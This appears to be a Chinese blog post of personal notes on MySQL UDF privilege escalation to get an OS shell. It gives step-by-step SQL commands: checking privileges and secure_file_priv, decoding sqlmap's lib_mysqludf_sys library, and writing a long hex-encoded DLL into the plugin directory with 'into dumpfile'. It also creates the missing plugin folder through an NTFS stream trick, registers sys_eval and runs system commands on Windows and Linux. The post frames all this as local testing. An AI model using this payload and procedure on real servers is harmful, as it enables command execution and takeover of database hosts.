前言

很久之前学的,发现不做笔记,很快就忘了

正文

UDF(user defined function)用户自定义函数,是mysql的一个拓展接口。用户可以通过自定义函数实现在mysql中无法方便实现的功能,其添加的新函数都可以在sql语句中调用,就像调用本机函数一样。

条件:

mysql root用户权限或者和root同组的其他用户权限

secure_file_priv最少为mysql安装目录(为了写恶意dll或者so文件)

例如

目标:拿到和主机交互的shell

步骤依次是先确定有无权限,再往指定位置写文件,然后再注册自定义函数,执行自定义函数

准备阶段

  1. 理论
  • 如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下
  • 如果mysql版本大于5.0小于5.1, udf.dll要放在mysql的插件目录下或者c:\windows\system32,特别地,在windows server 2000下放置在c:\winnt\system32目录。

图解

  1. 工具

windows下生成一个恶意dll文件,linux下生成一个恶意so文件

ps:sqlmap里面有这些恶意dll和so文件

  • sqlmap\udf\mysql\windows\32目录下存放着lib_mysqludf_sys.dll_
  • sqlmap\udf\mysql\windows\64目录下为64位的lib_mysqludf_sys.dll_
  • sqlmap\udf\mysql\linux\32目录下存放着lib_mysqludf_sys.so_
  • sqlmap\udf\mysql\linux\64目录下存放着64位的lib_mysqludf_sys.so_

但是由于躲避杀软,这些文件都是经过异或方式编码,可以用sqlmap自带的cloak.py来解码,具体位置在sqlmap\extra\cloak\cloak\cloak.py

cloak.py -d -i D:\sqlmap\udf\mysql\windows\32\lib_mysqludf_sys.dll_

这些文件里面,都有这些函数

sys_eval,执行任意命令,并将输出返回。

sys_exec,执行任意命令,并将退出码返回。

sys_get,获取一个环境变量。

sys_set,创建或修改一个环境变量。

正式开始

windows

先看看自己是谁

select user();

然后看看插件的目录

select @@plugin_dir;
或者
select @@basedir;

看看可写目录

show global variables like '%secure_file_priv%';

为空,意思是随便写(如果是NULL或者其他的可以本地改一下,毕竟是本地测试,记得改完重启mysql)

那么条件就满足了

先把dll放到目录里面

select unhex('4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E80000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000677CBFDA231DD189231DD189231DD18904DBBF89211DD18904DBBC892A1DD18904DBAA89261DD189231DD0890F1DD18904DBAC89211DD18904DBA089221DD18904DBAB89221DD18904DBA989221DD18952696368231DD189000000000000000000000000000000005045000064860300A727A15A0000000000000000F00022200B020800002000000010000000800000109F000000900000000000100000000000100000000200000400000000000000050002000000000000C000000010000000000000020000000000100000000000001000000000000000001000000000000010000000000000000000001000000098B2000008020000B0B10000E800000000B00000B00100000050000050010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000800000001000000000000000040000000000000000000000000000800000E0555058310000000000200000009000000012000000040000000000000000000000000000400000E02E727372630000000010000000B000000006000000160000000000000000000000000000400000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000332E393100555058210D240209E1E421439D3BDFB7DE7400000F0F0000002A0000490000D41DE9FEFF833A007450488B05A421000049890009A24008CD4973D20A9F109C1899CD9F34272096280FB70593666D83FDB7410B30B001C332C0C3CC00C215CC92C9BA810034716A6FEBCC16E46C096A471853FDBF1FA4631C0FB605591688401E41C7011E00FFED6DD62B8B63BF01750F3F42088338007506C64B26EBDC01017B4E2D632B05B9E4B228CE25227ED20CD26F1F28152AB001C3F66D7BC2BF83EC38344A43895C243084B7FFF6DBD90B09FF15C71F2B4885C04C8BD87512104C24DF6EAEB9608707202DC4388E897C242873EDCDFD33C048C7C1FF0033FBF2AE1C120976D9B75B1AF7D122E901890B2DCC00BE6FEB166F28E3026E404848DEDA7FDB29F938D87459488D0D40EE4E0E813832983DE4C1EB81403281480A9EE4435E4F81503281543281563261F37D4FB0018C48804028C34C49467607744E61DEED584917E49260680A703C6527CD18782056C740045CF8BF33B64342188B48048B008D4C010239BD1E77D27D8BD947107543706D8045EC1BE936130309884370900A00B69DEE10C8980A18BC0CB3C6B00E07103FBCB37DDB0F49A585C974066F5D17B7086D21CF93CF047424ADA3B9772D7110448B6949E2FA02C2EDDFBA52E2CE0212498D5C3001E83F0FFCE85CD7FDDD5FEBCB418B03C60430D2470D5734B70C58D7E22D0822D34313167BB75BCE2618007CA01CFF56677C84842F7198F4CF16C64373870D087C8C03D6E4240F79561E541E511E7292939C4E1E4B1E481E63C2425E3E1E1FCF2784EE87C71F1DA0981F4C89C68685EE44241824580F6C59897486BB86DB76381764BDB900D34C18284CB0DB7E302D4D8BF146E8E7B901EE9B6DC1EC04E00DDA4533ED4488670BEEF69B4FF04C39290F8413050673F215FDCFB8B9169125AC1C088BE8747B418D5508E1C9B6B13AC0E6CC177C7466A04B6640FA50669047FC3F42858E1B0B9529328D7936CE6F7D61C16C304375CD8CC74803C8F56636B724D470143E51C5BA08E1D9B68D39CC1CEB13225975AD886CDBB6F050EB258BC77004CD1930DDFE9CDB803E30E2154874229245FFB176D8827811FEF5887EDD4D174EBE5A0EEBC18424805EC606E71ADA0001380C4C38F12A10F8386C04C6F0A0581A87E792317FD3DC5CD8D6D09D58747A28F2023F73B773DF3E448D48406E41B80010B3748BD1F10DF7C7ED33C9AB441A5356104CEFA2DBE6B66C02C8D8154E1B8D54B94C350AEDE98D054A75890BA3B16E3B2DBC3133D2C7D0208925183BDF19B7B3BAD2C80DF2199D30AC581E29EB081433C0922FB384F13BE0064CEB0033C029001BB0DFB65538EC024510FF10C9196600FB6F7F6C900390483B0D89293F751148C1C11066F7DDDD6FDFB87502F3DAC1C910E9150AECCC405361203B8B7D1B5801A05FDCD25B0BFBEEF7F685DBC905112FD005020675098D430185BB76EFB6205B42C703D59B0D3C48B406634136670B1C5805B12006615BD85BC3CF55D27F6CC7C7C376FC608468E140DCFBF1C2C63831E83BE141BDD20F8503EE46BB7408075EE428073C0F8E0D8DE6B61B6E2BC58ED3105FDCFD3E76FB0FB12D602E0A741EF290B9E803C91D19BFDB36931D4275E841320783F802740FB9EF6DC3B31FB70ECA0208E2ED0D2F2E338E740FD2111912F874491412FC18DADC0B1FD958F847DF72165F1803B6BB2D701E4AD0C9EB081573ED12ECF6BEDBCF2774192D06429BD72D0698FBFB66D833DB891DB80E871DB906716FC7FEB59806E5413BD5DDE26541042530BB7DBBBD002C0978081E8BF3F048B93D883072B0B7920A63C7741AD64618D7D29B2F1C6B75E3EB037BF5A79A5ED6390C950CDAEB3FEA1F9F7DB7F08E8F080644892D312D1BC485C0678FED62771A15E5DE0DD6181ABE7FDDBBEEC7050725024585F67507B404BB833D14DDC96E73068B212A0B2D5C6F11DEDD264FE3029CF12C66012D3A273E9E9EBE10C58F38D240E468EC98717A60DCE91748C3B14D22190F6C20483A5ADBF308505851F0DD05BBEE77DF3D041F208915D12695D275133915D709ED7F38C3750B5A17C61E83FA017405040ADD6BE00275338931D39D08A3B71B0D34C84E20C574134AC68B07863DB9D7A64BFC1616E0C9016B3C1A0EDC83FFB092EBDA1535AB311BC11BDB5B0BD80C430C1DC817084D7BF787755C0B1841FFD385FF88FF03753970F79D75094A08AEEB8D1CA51E36EC648B171028ADEB06D8192ECC298ADC25F3008BC3659E8793708B218B8BF8B59D9E2A4055BF15EAA3894D7AFAB61B01018B080724B0D67D5D902DD9C2302F5E7D0AB1485825FF4DDB960C1E92387D2EDA02F101D7136FA3F875056C0CFCFA7D918844A4FD258B036983EB2F9E8E090CEFC6F852A1899E2681EC880068CD760DBFFE73153F156705B8C648F25845B7390CB8283D1F2C586170C339DEF61624EB754148B73DC6364238004044230430090E662FCF40280578254703055C73874C1C51494E7D4BB1077F4BF0EB222B8093447BDD837D738D0E83C00812D13E8D67DB7B642A059B240D20902F9C5BA25B701C2A7214097BC009CC3E1E666C926724766E833572DBFF0B70DC7A142F482C38B0BB2493827B8EF083D2396A14019B15650CCB36DC9255B624C80A271B83D76C1854BA6A234E336B1784F781C4ACA041592947A626231C0FD8CF53188186D9EF0D68295A4A148A8EF8ECECCDD64427CB1366EB75B908674B32D21DEA902D3A1C1128106464200A8B83AF334463971BCB36E418C323DB83A238243D05F62809993959B611402BDC678C90C136DE1BC3017F37320296247F15F4F6120D6276D81BC00383E8013C2075643F289C8D3D53041A787F4B8D1D4C068D13A08491790EC372B3326129A9EF4F137F2344720CC96681394D5A75FCB7C3FF174863513C813C0A5045E1137C0A180B020F94C063E343029F4C63413CFEC9B4EBED8D7ED24C03C1413C4014450458064525FFC25F6A4AB10018741F8B510B3BD2720A8B4108ED6FF8DB03C209D072104183C113C128453BCB72E16FC796B05D1CC1C3CF4CC1267AF7446992E1DA85DCBD1F4C2BC15FEAFB5ABED0140CCD0F3A24C1E81F600D2CFEF7D083E001EB02584FD644AB360196EBCAC0B66C3008EEC18B01A7FFAA128D3CC77627252205CC11CE78DCA606CB113F75463DA70FF0DD4603241B471EB801000000277C29847F3FE520000081BFF83C3DFC32A2DF2D992B7DC7F83074149D6FA3D00E7F5DC6268B2DC285586B212430BC6286B6489934E10AB9B4C856E04671D849460BB50E731C0EB110D9BE10A8D813FE6A4CB84C33DBCEB8FF00856037BA1623E9B8338975DDE016B1DF744D44D89C1D39B705DBDD8449F7D3093720D2FBDC4B4646463605DEE0E2E4B24746465E505A11000055C9A8AA298064547FB017D8069017303007D04E6F206172FFFFDFFE67756D656E7473096C6C6F77656420287564663A206C69625F6D79730BF6B7DD716C0D5F73085F696E666F29411C80EDFF232076657273696F6E20302E0134EDEDEE17A178706563744B657861076C79201A6DBB7DFB652073747243672074791B2070766175D8299B6D21724F2F7477996D60010B1F438EF6F603FB72206E616D4C436F756C246E6F74CCE8B66D3B63611320186D27796372FF850740310106023532023001240D0024F6FFB7FFD407001FC408001A740B15640C0010540B000B340A0004822776BBDCFE1918090018C40F13740E640B093427B763D4ED046217D41E5E3F1903241AEDBACF2C5007390F2A07801ABBDC6E8367165B16743711640C340B7BD85B770442130C390C01118350118B9B6DF705530133871C03E4001D5D90ED60430E057B743F09BAEEB0D80401072F67079403A06077DBC10701462F462B1074092F0DB6D94E3416033B01000715BB0BB6BD971574062F64F7DF21000884DDB640AE043439741F00BF20EEECEDB6140629034C341F0BA903E1C2DEBE240F05C305340A13234BD36D9B6E23431E14C45F0F470A75B713760554094B01098909A2071E7DE572BB1F1E742F12640D34870142B71582BB2E1311CF0C03CA96DD0E01380F387427005124A3AAFEC10246DDCD5D20D266D4FF555516C900178FA02A1B003011764BD56C039180BFA007E0126DD79DDD03703407F803680B0013026A76FBBA8603540B14021814170B581590FB2F07D9EEECF60A150310340727030034075BD5B9DD7003E0336F0724B3CC755DD7750B30074203AC0B9007F5B61B94DB03C03233920C1903C8BA05A0EB0B10074F8BE80B508375AFEB077303444707990BA0B65DD77507E503280BF0073A1C033C0038B7EB0B5007F71CA70B77B63BDB8B191D2F2007381DCB40071DAC7B5D83036C8307D30B601E9DED5EB3039B7C5F07C11E3BE0D0AE3BDB07031F3B1007D6039C33CA1255954A005525A3AAA8AA9251645455C9D09BA0887C0402C4FF16360157616974466F7253AC7F2B40FC6C654F626ABD14566972747561F63703C46C419A0D536574456E76126DBF01E26F6EE45661726961622B41EB2E40BC18437265B8546806640DF65BF76D47264375727222502A636573734914E283CD1226135469636BB6FD6E03026E6B517565727950036684DEDBB1F66D616E3716657218446973676FDBDBCF374C6962727879436192731A52746C633BB76D0970A2722D2C7874124CBDB5ADFD6F6F6B7570463EC26916B2747279DFB5078B17CD556E77E47E4973446562736F6BED75676763A7A56583E11DFEB6B77268616E64457883704046696CA56C85C58719F19319DAB61254176D65151153DAF6586B39352B537973176DFA81E87517454173426509A3DBFE434388A0895F616D73675FCC6990B3850BBF5F5F435F73708B6966285F7E267CDB766F5F64116F035F706F6922430B76DB2663DA5F64CE280009626B31142D325F7A13C417840B5F7B50705B6C735F330A6C212205DB5ACCD82A58096E73ED6BC982130FD76D643ED6BAD6DE756C343F15416D170CDEA3E0020AB52689A3B565C933A196063BC16DB15B0772652508661115080D5BA1739C29709F73149BB5ADB93932AE6E074D0F85D7BADBC56F736A663A70105E3B84ED70705831747B6D343FDF15F4C700F08C21180800E264860600A76EFB0FE327A15AE6F00022200B020808120CB07744B314132E0010000005CF1E6C9B02020433050002088000C302F663146D160100022E063AF76C650F0A50394330908DE8DB88223C1460E2D880D4BD0118020183703AACBB024B00303A011E4644A42B2E1054822D3BD810901200DC00B3DBC63B6F602E7264A76108550B53597761DD000C03162740022E26291B61F600D805100C22273616ECECC02E702850EB27244FD820FC007273726300136027B3C7013226650942FCA664B0702728421B4036C08D6D05CA7212D3060000000000009000FF0048894C240848895424104C8944241880FA010F854502000053565755488D35CDF0FFFF488DBE0080FFFF5731DB31C94883CDFFE85000000001DB7402F3C38B1E4883EEFC11DB8A16F3C3488D042F83F9058A1076214883FDFC771B83E9048B104883C00483E9048917488D7F0473EF83C1048A107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into dumpfile 'D:/phpstudy_pro/Extensions/MySQL5.1.60/lib/plugin/lib_mysqludf_sys.dll';

正确写入

然后加载dll 注册一个自定义函数

create function sys_eval returns string soname 'lib_mysqludf_sys.dll'

成功注册

使用函数

避坑1

然而mysql5.1以上默认都是没有lib/plugin这个目录,所以要写入文件,得先新建文件夹,这里可以用ntfs的ADS创建文件夹

select 'xxx' into dumpfile 'D:/phpstudy_pro/Extensions/MySQL5.1.60/lib::$INDEX_ALLOCATION';

select 'xxx' into dumpfile 'D:/phpstudy_pro/Extensions/MySQL5.1.60/lib/plugin::$INDEX_ALLOCATION';

虽然会报错,但是是已经新建成功了,并且不影响使用

ERROR 3 (HY000): Error writing file 'D:\phpstudy_pro\Extensions\MySQL5.1.60\lib::$INDEX_ALLOCATION' (Errcode: 22)

温馨提示1

可能会问写文件那一大串东西是怎么来的,就是把dll文件转十六进制转出来的,我用的方法是直接010editor打开复制为16进制文本保存然后python合并成单行

with open('3.txt') as f:    print(f.read().replace(' ','').replace('\n',''))
温馨提示2

本地测试的话 测试结束记得删掉函数和文件

drop function sys_eval; 删除函数 delete from mysql.func where name='sys_eval'  删除函数

文件记得也删一下

linxu

linux和windows几乎差不多

第一步查用户是不是root

select user();

第二步查插件目录的位置

select @@plugin_dir;select @@basedir;

第三步看可写的目录

show global variables like '%secure_file_priv%';

这里有问题 为NULL的话可以到/etc/my.cnf改一下,可以参考https://blog.csdn.net/ZZQHELLO2018/article/details/107414854 记得改完重启mysql或者mysqld

# 重启mysqld shell执行service mysqld restart

都没问题后开始写文件

select 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into dumpfile '/www/server/mysql/lib/plugin/mysqludf.so'

然后读so注册函数

create function sys_eval returns string soname 'mysqludf.so';

然后使用

select sys_eval('whoami');

记得用完之后删掉函数和so文件(还挂着方便别人日是吗?)

避坑1

测试的时候发现sqlmap里面带的so跑不了,报错

ERROR 1126 (HY000): Can't open shared library 'mysqludf.so' (errno: 0 /www/server/mysql/lib/plugin/mysqludf.so: wrong ELF class: ELFCLASS32)

然后我就用了网上大神的,上面测试的是适合64位的linux的 32位没找

结尾

参考链接

https://blog.csdn.net/qq_33020901/article/details/78827375

https://blog.csdn.net/qq_26090065/article/details/81515355

http://www.voidcn.com/article/p-pvaqwhtp-bge.html

说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
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